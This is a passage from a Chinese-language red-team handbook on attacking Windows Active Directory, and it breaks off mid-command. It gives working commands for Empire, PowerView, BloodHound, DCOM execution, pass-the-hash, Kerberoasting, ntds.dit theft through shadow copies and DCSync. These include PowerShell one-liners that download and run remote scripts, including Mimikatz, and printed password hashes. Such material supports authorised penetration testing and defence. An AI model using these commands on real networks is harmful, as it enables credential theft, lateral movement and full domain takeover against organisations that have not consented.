将服务实例与服务登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx] 。例如,你可以在那些运行 MSSQL 服务器、HTTP 服务器、打印服务器和其他服务器的服务帐户找到一个用于服务的 SPN。对于攻击者来说,查询 SPN 是爆破阶段的重要部分。这是因为任何域用户帐户都可以查询与 Active Directory 关联的所有服务帐户和服务器的 AD。我们可以在不扫描单个主机的情况下识别所有数据库服务器和 Web 服务器! 作为一个攻击者,我们可以利用这些“特性”来查询 Active Directory。在任何已经加入域的计算机上,攻击者都可以运行 setspn.exe 文件来查询 Active Directory(AD)。此文件是所有 Windows 机器默认自带的 Windows 二进制文件。 setspn -T [DOMAIN] -F -Q / 功能 -T = 对指定域执行查询 -F = 在 AD 环境而不是域级别环境执行查询 -Q = 在每个目标域或林环境上执行 / = 显示所有 我们可以从 setspn 中看到什么类型的信息?下面,运行 setspn 命令,我们会看到一些在域控制器上运行的服务的信息,还有关于工作站的信息,我们还找到了一个名为 csk-github 的服务器。在这个服务器中,我们可以看到在主机上运行着一个 HTTP 服务。如果这些相同的协议运行在不同的端口上的话,这些信息也会被列出。 setspn 不仅提供有关服务用户和所有主机名的有用信息,它甚至也会告诉我们哪些服务正在系统上什么端口上运行。如果我们可以直接从 AD 中获取服务甚至端口的大部分信息,那为什么我们还需要扫描网络?我们可能马上攻击的东西是什么?Jenkins? Tomcat? ColdFusion? 查询 Active Directory 我不知道曾经有多少次,好不容易找到了一个域用户帐户和密码,却被告知它只是一个没有其他特权的域用户帐户,但不用担心。我们通常可以在打印机,共享信息工作站,带有服务密码的文本文件,配置文件、iPad、包含密码的 Web 应用程序的页面源代码中中找到这些类型的帐户,但是,对于这些没有其他组成员资格的基本域用户帐户,你可以用来做什么? 获取有关 AD 中用户的详细信息 我们可以使用 @harmj0y 创建的名为 PowerView 的工具来帮我们完成所有的复杂的查询操作。PowerView 是一个 PowerShell 脚本,用于在 Windows 域上获得网络拓扑信息。它包含一组纯 PowerShell 命令替换项,用于各种 Windows 系统中的 net命令,这些命令使用 PowerShell AD hooks 和基础的 Win32 API 函数来执行有用的 Windows 域功能[http://bit.ly/2r9lYnH] 。作为攻击者,我们可以使用 AD 中低权限用户普通的域用户来利用 PowerView 和 PowerShell 查询 AD(活动目录),甚至不需要本地管理员权限。 让我们通过一个例子来说明我们可以从这个低权限用户那里获得多少数据。在一开始,我们已经在运行 Empire(你可以在 Metasploit、Cobalt Strike 或类似软件都可以),并在受害者系统上执行了 payload。如果你以前从未建立过 Empire,请查看有关建立 Empire 和 Empire payload 的设置章节。一旦我们的代理(agent)与我们的命令和控制服务器通信,我们就可以键入 info 以查找有关受害者的信息。在本例中,我们已经攻陷了运行完整补丁的 Windows 10系统的主机,该系统的用户名为 neil.pawstrong,位于 CyberspaceKitten 的域中。 接下来,我们希望在不引起太多怀疑和注意的情况下从域中查询信息,我们可以使用 Empire 内部的 PowerView 工具来获取信息。PowerView 查询域控制器(DC)以获取有关用户、用户组、计算机等的信息。我们此次使用 PowerView 将只用来查询域控制器,并且使它看起来像正常通信。 Empire 下有哪些模块可用于信息收集呢? 我们可以从 PowerView 脚本的 get_user 的函数名开始。获取指定域中指定查询用户的信息。通过使用默认设置,我们可以获取有关 AD 中用户的所有信息以及相关信息的转储。 Module: situational_awareness/network/powerview/get_user 在上面的转储文件中,我们可以看到关于其中一个用户 purri gagarin 的信息。我们得到了什么类型的信息?我们可以看到他们的 sAMAccountName 或用户名,当他们的密码被更改时,看到他们的对象类别是什么,他们是什么权限组的成员,最后登录的时间是什么,等等。使用这个基本的用户转储,我们可以从目录服务中获得大量的信息。我们还能得到什么样的信息呢? Module: situational_awareness/network/powerview/get_group_member get-group-member 返回给特定组的成员,并选择“recurse”以查找所有有效的组内成员。我们可以使用 AD 来查找特定组的特定用户。例如,使用以下 Empire 的设置,我们可以搜索属于域管理组的所有域管理员和组: info set Identity “Domain Admins” set Recurse True set FullData True execute 现在,我们有一个用户、组、服务器和服务的收集列表。这将帮助我们了解哪些用户拥有哪些特权。但是,我们仍然需要有关工作站和系统的详细信息。这可能包括版本、创建日期、用途、主机名等。我们可以用一个叫做 get_computer 的模块来获得这些信息。 Module: situational_awareness/network/powerview/get_computer 描述:get_computer 模块可以查询域中当前的计算机对象。 get_computer 查询域控制器可以获得什么信息呢?好吧,我们看到我们可以获得关于机器的信息,比如当它被创建时的 DNS 主机名,自定义名称等等。作为攻击者,最有用的侦察细节之一是获取操作系统类型和操作系统版本。在这种情况下,我们可以看到这个系统是 Windows 10 Build 16299版本。我们可以通过获取这些信息,了解操作系统的最新版本以及它们是否在 Microsoft 的发布信息页上存在修补的补丁:https://technet.microsoft.com/en-us/windows/release-info.aspx 。 Bloodhound/Sharphound 我们如何利用在侦察阶段收集的所有信息来创建一条攻击线路呢?我们如何能够轻松、快速地得知谁有权限去调用那些功能?回想一下,我们总是试图直接攻击,让一切都达到我们想要的目的,但这总是会增加被抓住的可能性。 Andrew Robbins,Rohan Vazarkar 和 Will Schroeder 已经创造了一种最好的工具,那就是 Bloodhound/Sharphound。在他们的 Github 页面上显示。“Bloodhound/Sharphound 使用图表理论来揭示 Active Directory 环境中隐藏的、出乎意料的关系。攻击者红队可以使用 Bloodhound 轻松识别高度复杂的攻击路径,否则的话将无法快速识别。防御者蓝队可以使用 Sharphound 来识别和消除对应的的攻击路径。”[https://github.com/BloodHoundAD/BloodHound] 。 Bloodhound/Sharphound 的工作原理是在受害者系统上运行一个 Ingestor,然后为用户、组和主机查询 AD(类似于我们以前手工做的)。然后,Ingestor 将尝试连接到每个系统以枚举登录的用户、会话和权限。当然,这个动静会很大。对于采用默认设置(可以修改)的中型企业网站,连接到每个主机系统和使用 Sharphound 查询信息的时间可能不到10分钟。注意,因为这会接触到网络上每个加入域的系统,所以它可能会让你被发现。Bloodhound/Sharphound 中有一个秘密选项,它只查询 Active Directory,不连接到每个主机系统,但是输出结果非常有限。 目前有两种不同的版本(我相信旧版本很快就会被移除): 在 Empire,你可以使用模块: usemodule situational_awareness/network/bloodhound 这仍然是查询非常慢的旧的 PowerShell 版本 最好的选择是 Sharphound,Sharphound 是最原始的 C# 版本 Bloodhound Ingester。这是个更快更稳定的版本。可以用作独立二进制文件,也可以作为 PowerShell 脚本导入。Sharphound PowerShell 脚本将使用反射和 assembly.load 加载已编译 BloodHound C# 版本的 ingestor 并将其捕获。 https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors 要运行 Bloodhound/Sharphound Ingestor,你可能需要指定多个集合方法: Group - Collect group membership information 收集组成员身份信息 LocalGroup - Collect local admin information for computers 收集计算机的本地管理信息 Session - Collect session information for computers 收集计算机的会话信息 SessionLoop - Continuously collect session information until killed 持续收集会话信息直到结束 Trusts - Enumerate domain trust data 列举域内信任数据 ACL - Collect ACL (Access Control List) data 收集ACL(访问控制列表)数据 ComputerOnly - Collects Local Admin and Session data 收集本地管理和会话数据 GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects) 使用GPO(组策略对象)收集本地管理信息 LoggedOn - Collects session information using privileged methods (needs admin!) 使用特权方法收集会话信息(需要管理员权限!) ObjectProps - Collects node property information for users and computers 为用户和计算机收集节点属性信息 Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts 收集组成员、本地管理员、会话和域信任关系 在目标系统上运行 Blood/Sharphound: 运行 PowerShell,然后导入 Bloodhound.ps1 或者 SharpHound.ps1: Invoke-Bloodhound -CollectionMethod Default Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default-CompressData -RemoveCSV -NoSaveCache 运行可执行文件: SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group 一旦完成了 Bloundhound/Sharphound,这四个文件将被保存到受害者机器上。下载并处理这些文件,并将它们复制到你的 kali 上。接下来,我们需要启动 Neo4j 服务器并导入这些数据来构建相关关系图。 打开 Bloodhound apt-get install bloodhound neo4j console 打开浏览器访问 http://localhost:7474 连接到 bolt://localhost:7687 用户名: neo4j 密码: neo4j 修改密码 在一个终端中运行 Bloodhound: bloodhound 数据库 URL: bolt://127.0.0.1:7687 用户名: neo4j 密码:新的密码 加载数据 在右侧,有一个 Upload Data 的按钮 上传 acls.csv,group_membership.csv, local_admin.csv 和 sessions.csv 如果你没有一个域来测试这个,我已经在这里上传了四个 Bloodhound 文件:https://github.com/cyberspacekittens/bloodhound ,这样你就可以重复这些练习了。一旦进入 Bloodhound 并导入了所有数据,我们就可以去查询“查找到域管理员的最短路径”。我们还可以选择特定的用户,看看是否可以将路径映射到特定的用户或组。在我们的示例中,我们攻陷的第一个用户机器是 [email protected]。在搜索栏中,我们输入该用户的用户名,单击 Pathfinding 按钮,然后键入“Domain Admin”(或任何其他用户),查看是否可以在这些对象之间显示对应的路由路径。 你可以从 Neil 的机器上看到,我们可以一路顺利的到 CSK 实验组。在“实验”组中,有一个名为 Purri 的用户,他是 HelpDesk 组的成员。 如果我们能攻陷 HelpDesk 组,我们可以转到 Chris 的主机中,而且 Elon Muskkat 目前已登录此机器。如果我们能转移到他的进程或窃取他的明文密码,我们就可以把权限提升到域管理员! 对于大型网络的扫描结果,我们注意到了 Bloodhound 查询的搜索功能有一些局限性。使用 Neo4j 的一个巨大好处是,它允许通过自己本身的叫 Cypher 的语言进行原始查询。有关自定义查询的 Cypher 的深入研究,请访问:https://blog.cptjesus.com/posts/introtocypher 。 我们可以添加哪种自定义查询?来看吧,@porterhau5在扩展 Bloodhound 跟踪和可视化攻击方面取得了很大进展。查看他们的文章:https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/ 。 从高层次的角度来看,@porterhau5增加了标记被攻陷主机的想法,以帮助更好地在内网漫游。例如,在这个伪造的场景中,我们通过仿冒用户 niel.pawstrong 来危害其他初始用户。使用 Bloodhound 上的 Cypher 语言和原始查询功能,我们可以运行这些查询: 向被攻陷系统添加自有标签: MATCH (n) WHERE n.name=“[email protected]” SET n.owned=“phish”, n.wave=1 运行查询以显示所有被仿冒的系统 MATCH (n) WHERE n.owned=“phish” RETURN n 现在,我们可以向 Bloodhound 添加一些自定义查询。在Bloodhound 的“查询”选项卡上,滚动到底部,单击“自定义查询”旁边的“编辑”按钮。用以下内容替换所有文本: https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json 保存之后,我们应该创建更多的查询。现在我们可以单击查找结果“查找从所属节点到域管理员的最短路径”。 如果你想更仔细地研究这个问题,请查看 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直观,并允许更多的自定义功能:https://github.com/porterhau5/bloodhound-owned 。 到目前为止,在没有扫描的情况下,我们已经能够获得关于该组织的大量信息。这都是作为本地 AD 用户(域用户)的权限能做到的的,而且在大多数情况下,没有任何网络流量看起来太可疑。正如你所看到的,我们能够做到这一切,而无需成为本地管理员或对本地系统拥有任何管理权限。 Advanced ACL/ACE Bloodhound 当使用 Bloodhound 的收集方法访问控制列表(ACL)类型时,我们的脚本将查询 AD 以收集用户和对象的所有访问控制权限。我们从访问控制项(ACEs)收集的信息描述了用户、组和计算机的允许和拒绝权限。寻找和利用 ACEs 本身就是一个能写成完整的书的内容,但这里有一些很好的启动资源: BloodHound 1.3–acl 攻击路径更新 https://wald0.com/?p=112 介绍对抗性恢复方法 http://bit.ly/2GYU7S7 在将 ACL 数据导入 Bloodhound 时,我们要寻找什么信息?Bloodhound 识别出 ACE 中可能存在弱点的地方。这将包括谁有能力更改或重置密码、向组中添加成员、为其他用户更新脚本路径等对象、更新对象或在对象上写入新的 ACE 等等。 怎么使用这个东西呢?当攻陷到某个用户和获得额外的凭证后,我们可以通过目标路径找到一个有能力重置密码或修改 ACE 权限的用户。这将导致会有新的方法来找到到域管理员或特权帐户的路径,甚至允许设置后门以供以后使用。了解这些类型的利用方法的一个很好的资源是:Robbins-An-ACE-Up-The-Sleeve-DesigningActive-Directory-DACL-Backdoors 演讲 。 横向漫游——移动 在一个拥有多个用户的机器上,通常的做法是创建一个新的用户凭证或者迁移不同用户的凭证。这种方法大量用于在环境中横向移动,这并不是什么新鲜问题。通常,从 Bloodhound 输出或共享工作站,作为攻击者,我们需要能够模仿被攻陷的受害者系统上的其他用户。 我们拥有的许多工具可以用不同的方法来实现这一点。比如 Metasploit,我们都应该非常熟悉使用 Post Exploitation 隐蔽框架来窃取 token。 在 Empire 中,我们可以使用窃取 token 来模拟该系统上的用户。我注意到,有时候窃取 token 会让我们的 shell 下线。为了避免这种情况,我们可以将一个新的 agent 注入到另一个用户拥有的正在运行的进程中。 在下面的图片中,我们使用钓鱼让一个员工运行了我们的恶意软件。。这使得我们可以在受害者用户的系统中运行我们自己的程序(neil.pawstrong)。在那个用户的系统上,我们可以转到 BuzzClawdrin 的系统,并用WMI(WindowsManagementInstrumentation)命令执行获得了一个新的 agent。这里的问题是,我们在最初攻击受害者 Neil.Pawstrong 的过程中,因为我们使用缓存的凭证在 Buzz 的主机上生成了一个 shell。因此,我们不应该窃取 token,而应该使用 Empire 的 psinject 功能。 psinject 描述“能够使用 ReflectivePick 将代理注入另一个进程,从而将通用.NET运行库时加载到进程中并执行特定的 PowerShell 命令,而无需启动新的 PowerShell.exe 进程!”[ http://bit.ly/2HDxj6x ],我们使用它来生成一个全新的、以 buzz.clauldrin 的用户进程运行的 agent,这样我们现在就可以获得他的访问权限。 离开初始主机 现在你已经找到了将要移动到的潜在路径,那么获得这些系统的代码执行的选项是什么?最基本的方法是使用我们当前的有 Active Directory 权限的用户以获得对另一个系统的控制权,举个例子,一个经理可以完全访问其下属的计算机,一个拥有多个具有管理权限的会议/实验组计算机,他们的内部系统配置错误,或者发现有人手动将用户添加到该计算机上的本地管理组。这都是普通用户可以拥有远程访问到网络上的其他工作站的可能的一些方式。一旦攻陷了一台目标机器,我们既可以获取 Bloodhound 的结果,也可以重新扫描网络以查看我们在哪些机器上具有本地访问权限: Empire 模块: situational_awareness/network/powerview/find_localadmin_access Metasploit 模块:http://bit.ly/2JJ7ILb Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机名并尝试连接到它们。这绝对是一个会造成很大动静的工具,因为它需要连接到每个主机并且验证它是否是本地管理员。 我们可以看到,Empire 的 find_localadmin_access 模块标明了用户访问我们的陷阱的是一个 buzz.cyberspacekittens.local 机器。这应该和我们的 Bloodhound 回显的是一样的。为了再次检查我们是否有访问权限,我通常会执行一些非交互的远程命令,比如 dir [remote system]\C$ 并查看我们是否有对 C 盘的读/写权限。 在域内横向移动方面,有好几种做法。让我们先来看看 Empire 中最常见的(直接从 Empire 中提取的): inveigh_relay:Inveigh 的 SMB 中继功能。此模块可用于将传入的 HTTP/Proxy NTLMv1/NTLMv2身份验证请求中继到 SMB 目标。如果成功地中继了身份验证,并且帐户具有较高的权限,则将在目标机器上利用 PSExec 执行指定的命令或 Empire 启动程序。 invoke_executemsbuild:此函数使用 msbuild 和 inline task(内联任务)在本地/远程主机上执行 PowerShell 命令。如果提供了凭据,则在本地装入默认管理共享。此命令将在启动 msbuild.exe 进程的前后执行,而不启动 powershell.exe。 invoke_psremoting:使用 psremoting 在远程主机上执行 stager。只要受害者启用了 PSRemoting(这不总是启用的),我们就可以通过此服务执行 PowerShell。 invoke_sqloscmd:在远程主机上执行命令或着使用 xp_cmdshell 程序。就会反弹回一个 xp_cmdshell! invoke_wmi:使用 WMI 在远程主机上执行 stager。发现目标几乎总是启用了 WMI,这是执行 PowerShell payload 的一个很好的方法。 jenkins_script_console:将 Empire 代理部署到具有对脚本控制台未经身份验证访问权限的 Windows Jenkins 服务器。如我们所知,Jenkins 服务器是常见的,没有凭据通常意味着要使用 RCE 来通过 /script 端点。 invoke_dcom:通过 DCOM 上的 MMC20.Application COM 对象在远程主机上调用命令。允许我们在不使用 psexec,WMI 或 PSRemoting 的情况下渗透进去。 invoke_psexec:使用 PsExec 类型在远程主机上执行 stager 功能。这是使用 PsExec 移动文件并执行的传统方法。这可能会触发警报,但如果没有其他可用的方法,这仍然是一个好方法。 invoke_smbexec:使用 SMBExec.ps 在远程主机上执行 stager。我们可以使用 samba 工具进行类似的攻击,而不是使用 PsExec。 invoke_sshcommand:通过 SSH 在远程主机上执行命令。 invoke_wmi_debugger:使用 WMI 将远程计算机上的目标二进制文件的调试器设置为 cmd.exe 或 stager。使用类似 sethc(粘滞键)的调试器工具来执行我们的代理。 new_gpo_immediate_task:生成“即时”的 schtask 以通过指定的 GPO 推出。如果你的用户帐户有权修改 GPO,此模块允许你将“即时”计划任务推送到可以编辑的 GPO,允许在应用 GPO 的系统上执行代码。 [http://www.harmj0y.net/blog/empire/empire-1-5/] 这些只是一些最简单和最常见的横向内网漫游技术。在本书的后面,我们将讨论一些不太常见的绕过网络的技术。在大多数内网中,通常启用 Windows Management Instrumentation(WMI),因为它是管理工作站所必需的服务。因此,我们可以使用 invoke-wmi 横向移动。由于我们使用的是本地缓存凭据,且我们的帐户可以访问远程主机,因此我们不需要知道用户的凭据。 在远程系统上执行 usemodule lateral_movement/invoke_wmi 设置你即将入侵的主机的相关信息: set ComputerName buzz.cyberspacekittens.local 配置你将使用的监听器: set Listener http 连接到远程主机并执行恶意程序: execute 和新的 agent 交互: agents interact sysinfo 利用 DCOM 的横向移动 有许多方法可以在主机上进行单次横向移动。如果泄露的帐户具有访问权限,或者你能够使用捕获的凭据创建令牌,我们可以使用 WMI、PowerShell 远程命令执行或 PSExec 生成不同的 shell。如果这些执行命令的方法受到监控怎么办?我们通过使用分布式组件对象模型(DCOM)实现一些很酷的 Windows 功能。DCOM 是用于在不同远程计算机上的软件组件之间通信的 Windows 功能。 你可以使用 Powershell 命令列出计算机的所有 DCOM 应用程序:GetCimInstance Win32_DCOMApplication 安全研究员 @enigam0x3 的研究发现( https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ),有多个对象(例如 ShellBrowserWindow 和 ShellWindows )允许在受害者主机上远程执行代码。当列出所有 DCOM 应用程序(如上图所示)时,你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。识别出该对象后,只要我们的帐户有权访问,我们就可以利用此功能在远程工作站上执行二进制文件。 powershell $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”) 这将只在系统本地执行文件,并且我们不能将任何命令行参数包含到可执行文件中(因此不能使用 cmd /k 类型的攻击)。相反,我们可以从远程系统调用文件并执行它们,但请注意,用户将收到警告的弹窗。在本例中,我目前在一个受害者的主机 neil.cyberspacekittens.local 上,该主机可以管理访问一个名为 buzz 的远程工作站。我们将在 Neil 的工作站上共享一个文件夹,并托管我们的 payload。接下来,我们可以调用 DCOM 对象在远程受害者(buzz)计算机上执行托管的 payload。 $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455- 00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate.exe”) 正如你在下一张图片中看到的,Buzz 的计算机上出现了一个关于运行 adobeupdate.exe 文件的弹出窗口。虽然大多数用户都会点击并运行这个,但它可能会让我们被目标察觉。 因此,避免这个问题的更好方法是在使用 DCOM 执行该文件之前将该文件移到上面(类似于装载受害者的驱动器)。@Enigam0x3对此做得更进一步,并利用 Excel 宏来使用 DCOM。首先,我们需要在自己的系统上创建恶意 Excel 文档,然后使用 PowerShell 脚本在受害者主机上执行此.xls 文件。 需要注意的一点是,有许多其他的 DCOM 对象可以从系统中获取信息,可能会启动或停止服务等等。这无疑为进一步研究 DCOM 功能提供了很好的起点。 参考文献: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ https://www.cybereason.com/blog/dcom-lateral-movement-techniques Pass-the-Hash 过去传递本地管理帐户 Pass-The-Hash(PTH)的方法在很大程度上已经开始消失。虽然还没有完全消失,但让我们快速回顾一下。PTH 攻击利用 Windows NTLM 哈希对系统进行身份验证,而不是使用用户的凭据。这是很重要的一点,首先,使用 Mimikatz 这样的工具可以很容易地恢复哈希,可以为本地帐户提取哈希(但需要本地管理员权限),可以从转储域控制器(不是明文密码)中恢复哈希(DCsync)等等。 PTH 最基本的用途是攻击本地管理员。由于默认情况下本地管理员帐户已被禁用,并且出现了更新的安全功能,例如本地管理员密码解决方案(LAPS),为每个工作站创建随机密码,因此通常很少使用上述这种方法。过去,在一个工作站上获取本地管理帐户的哈希值在整个组织中是可以用相同的方法实现的,这意味着一个易受攻击的方案会使整个公司破产。 当然,这要求你必须是系统上的本地管理员,启用本地管理员帐户“administrator”,并且它是 RID 500帐户(意味着它必须是原始管理员帐户,不能是新创建的本地管理员帐户)。 执行命令: shell net user administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never 如果我们看到帐户处于活动状态,我们可以尝试从本地计算机中提取所有哈希值。请记住,这不会包括任何域账户哈希: Empire Module: powershell/credentials/powerdump Metasploit Module: http://bit.ly/2qzsyDI 例如: (Empire: powershell/credentials/powerdump) > execute Job started: 93Z8PE 输出: Administrator:500: aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 我们可以使用 Empire(credentials/mimikatz/pth)或者启动可信任的 psexec,提交我们的哈希,并执行我们的自定义 payload,如下图所示: 如前所述,这是一种现在少见的古老的横向移动方式。如果你仍在考虑利用本地管理员帐户,但所处的环境有 LAPS(本地管理员密码解决方案),你可以使用几个不同的将它们从 Active Directory 中转储出的工具。这假设你已经拥有一个域管理员或 Helpdesk 类型帐户的权限: https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens,dc=local” “(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/] 这是保持横向移动而不注销 Helpdesk 用户帐户的好方法。 从服务帐户获取凭据 如果你发现自己处于一个用户权限受限、无法从内存中提取密码、主机系统上没有密码的情况下,该怎么办...接下来该怎么办?好吧,我最喜欢的攻击之一是 Kerberoasting。 我们都知道 NTLM 存在缺陷,这是由于单向哈希(不含盐)、重放攻击和其他传统问题造成的,这也是许多公司转向采用 Kerberos 的原因。如我们所知,Kerberos 是一种安全的方法,用于对计算机网络中的服务请求进行身份验证。我们不会深入研究 Windows 中的 Kerberos 实现。但是,你应该知道域控制器通常充当票据授予的服务器;网络上的用户可以请求票据授予服务器以获取资源访问权的凭证。 什么是最严重的攻击?作为攻击者,我们可以掌握我们之前提取的目标服务帐户的任何 SPN 请求 Kerberos 服务票证。漏洞在于,当从域控制器请求服务票据时,该票证使用关联的服务用户的 NTLM 哈希加密。由于任何用户都可以请求任何票据,这意味着,如果我们可以猜测关联服务用户的 NTLM 哈希(加密票据的)的密码,那么我们现在就知道实际服务帐户的密码。这听起来可能有点令人困惑,所以让我们来看一个例子。 与以前类似,我们可以列出所有的SPN服务。这些是我们将为其提取所有 Kerberos 票据的服务帐户: setspn -T cyberspacekittens.local -F -Q / 我们可以将单个用户的 SPN 作为目标,也可以将所有用户的 Kerberos 票据拉入用户的内存中: 针对单个用户: powershell Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local” 将所有用户票据拖到内存中 powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 ”) | ForEach-Object {try{New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}} 当然,你也可以使用 powersploit 执行此操作: https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/ 如果成功的话,我们已经将一个或多个不同的 Kerberos 票证导入到受害者计算机的内存中。我们现在需要一种方法来提取票据。我们可以使用好工具 Mimikatz Kerberos 导出: powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2qx4kuH’); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’ 一旦我们导出这些票证,它们将仍会驻留在受害者的机器上。在我们开始破解它们之前,我们必须从它们的系统中下载它们。请记住,票据是用服务帐户的 NTLM 哈希加密的。所以,如果我们能猜到 NTLM 哈希,我们就可以读取票据,现在也知道服务帐户的密码。破解账户最简单的方法是使用一个名为 tgsrepcrack 的工具(JTR 和 Hashcat 也支持破解 Kerberoast,稍后我们将讨论)。使用 Kerberoast 破解票证: 使用 Kerberoast 来破解票据: cd /opt/kerberoast python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi] 在这个例子中,服务帐户 csk-github 的密码是“p@ssw0rd!” 当然,Empire 有一个 PowerShell 模块为我们做所有需要做的事情。它位于 powershell/credentials/invoke_kerberoast 目录下( https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 )。 你可以用 John the Ripper 甚至 Hashcat 来破解密码并输出结果。我以前在非常大的网络环境中运行 PowerShell 脚本时遇到过一些问题,因此,退一步的方法是使用 PowerShell 和 Mimikatz 将所有的票据都获取下来。 转储域控制器哈希 一旦我们获得了域管理访问权,从 DC 中提取所有哈希的老方法就是在域控制器上运行命令,并使用 Shadow Volume 或原始拷贝技术提取 ntds.dit 文件。 回顾磁盘卷影复制技术 由于我们确实可以访问文件系统,并且可以作为攻击者在域控制器上运行命令,因此我们希望获取存储在 ntds.dit 文件中的所有域内哈希。不幸的是,该文件不断地被读和写,即使作为系统,我们也无法读取或复制该文件。幸运的是,我们可以利用名为 Volume Shadow Copy Service 磁盘复制服务(VSS)的 Windows 功能,该功能将创建磁盘的快照副本。然后我们可以从该副本中读取 Ntds.dit 文件将其获取出来。并将其从计算机上取消,这包括窃取 Ntds.dit、System、SAM 和 Boot Key 文件。最后,我们需要清理我们的行踪并删除磁盘拷贝: C:\vssadmin create shadow /for=C: copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM. copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM. reg SAVE HKLM\SYSTEM c:\SYS vssadmin delete shadows /for= [/oldest | /all | /shadow=] NinjaCopy Ninjacopy 是另一个工具,一旦我们在域控制器上,就可以用来获取 Ntds.dit 文件。Ninjacopy “通过读取原始磁盘卷并分析 NTFS 结构,从 NTFS 分区磁盘复制文件。这将绕过文件 DACL(任意访问控制列表)、读取句柄锁和 SACL(系统访问控制列表)。但你必须是管理员才能运行这个脚本。这可用于读取通常锁定的系统文件,如 NTDS.dit 文件或注册表配置单元。”[http://bit.ly/2HpvKwj] Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.dit DCSync 现在,我们已经回顾了从 DC 提取哈希的老方法,这些方法要求你在 DC 上运行系统命令,并且通常需要在该计算机上删除一些文件,让我们继续讨论新方法。最近,由 Benjamindelpy 和 Vincent Le Toux 编写的 DCSync 引入并改变了从域控制器转储哈希的玩法。DCSync 的概念是它模拟域控制器来请求该域中用户的所有哈希。这意味着,只要你有权限,就不需要运行任何域控制器上的命令,也不必删除 DC 上的任何文件。 但是要使 DCSync 工作,必须具有从域控制器中提取哈希的适当权限。通常是限于域管理员、企业管理员、域控制器用户组以及将复制更改权限设置为允许(即复制所有更改和复制目录更改)的任何人,DCSync 将允许你的用户执行此攻击。这种攻击最初是在 Mimikatz 开发的,可以使用以下命令运行: Lsadump::dcsync /domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes] 更好的是,DCSync 被引入了 PowerShell Empire 这样的工具,以使其更容易实现。 Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump 查看 DCSync hashdump,我们可以看到 Active Directory 中用户的所有 NTLM 哈希。此外,我们还有 krbtgt NTLM 哈希,这意味着我们现在(或在未来的活动中)可以执行 Golden Ticket attacks(黄金票据攻击)。 利用 VPS 在内网进行 RDP 横向移动 在当今世界,有了大量的新一代杀毒软件,在计算机之间横向运行 WMI/PowerShell Remoting/PSExec 并不总是最好的选择。我们还看到一些组织系统正在记录所有发生的 Windows 命令提示。为了解决这一切,我们有时需要回到基本的横向运动。使用 VPS 服务器的问题是,它只是一个没有 GUI 接口的 shell。因此,我们将配置路由和代理转发来自攻击者主机的流量,通过 VPS,然后再到被攻陷的主机,最后横向移动到下一个受害者。幸运的是,我们可以使用大部分本地工具完成任务。 首先,我们需要设置一个 VPS 服务器,启用开放到公网的多个端口,用 PTF 配置 Metasploit,并用 Meterpreter 攻陷最初的受害者。我们也可以用 Cobalt Strike 或其他框架来实现这一点,但在本例中我们将使用 Meterpreter。 我们可以利用默认的 SSH 客户机,使用本地端口转发(-L)。在这个场景中,我使用的是 Mac,但这也可以在 Windows 或 Linux 系统上完成。我们将使用 SSH 密钥通过 SSH 连接到我们的 VPS。我们还将在攻击者机器上配置本地端口,在本例中是3389(RDP),以将任何发送到该端口的流量转发到我们的 VPS。当该端口上的流量转发到我们的 VPS 时,它会将该流量发送到 VPS 上 3389 端口上的本地主机。最后,我们需要在 3389 端口上设置一个监听我们的 VPS 的端口,并使用 Meterpreter 的端口转发功能通过被攻陷的受害机器设置一个端口转发,以能连接到受害者的系统。 用 Meterpreter payload 攻击受害者 在我们的机器上开启 SSH,并在我们的攻击者系统上设置本地端口转发(本地监听端口3389),以将针对该端口的所有流量发送到 3389 上的 VPS 本地主机端口。 ssh 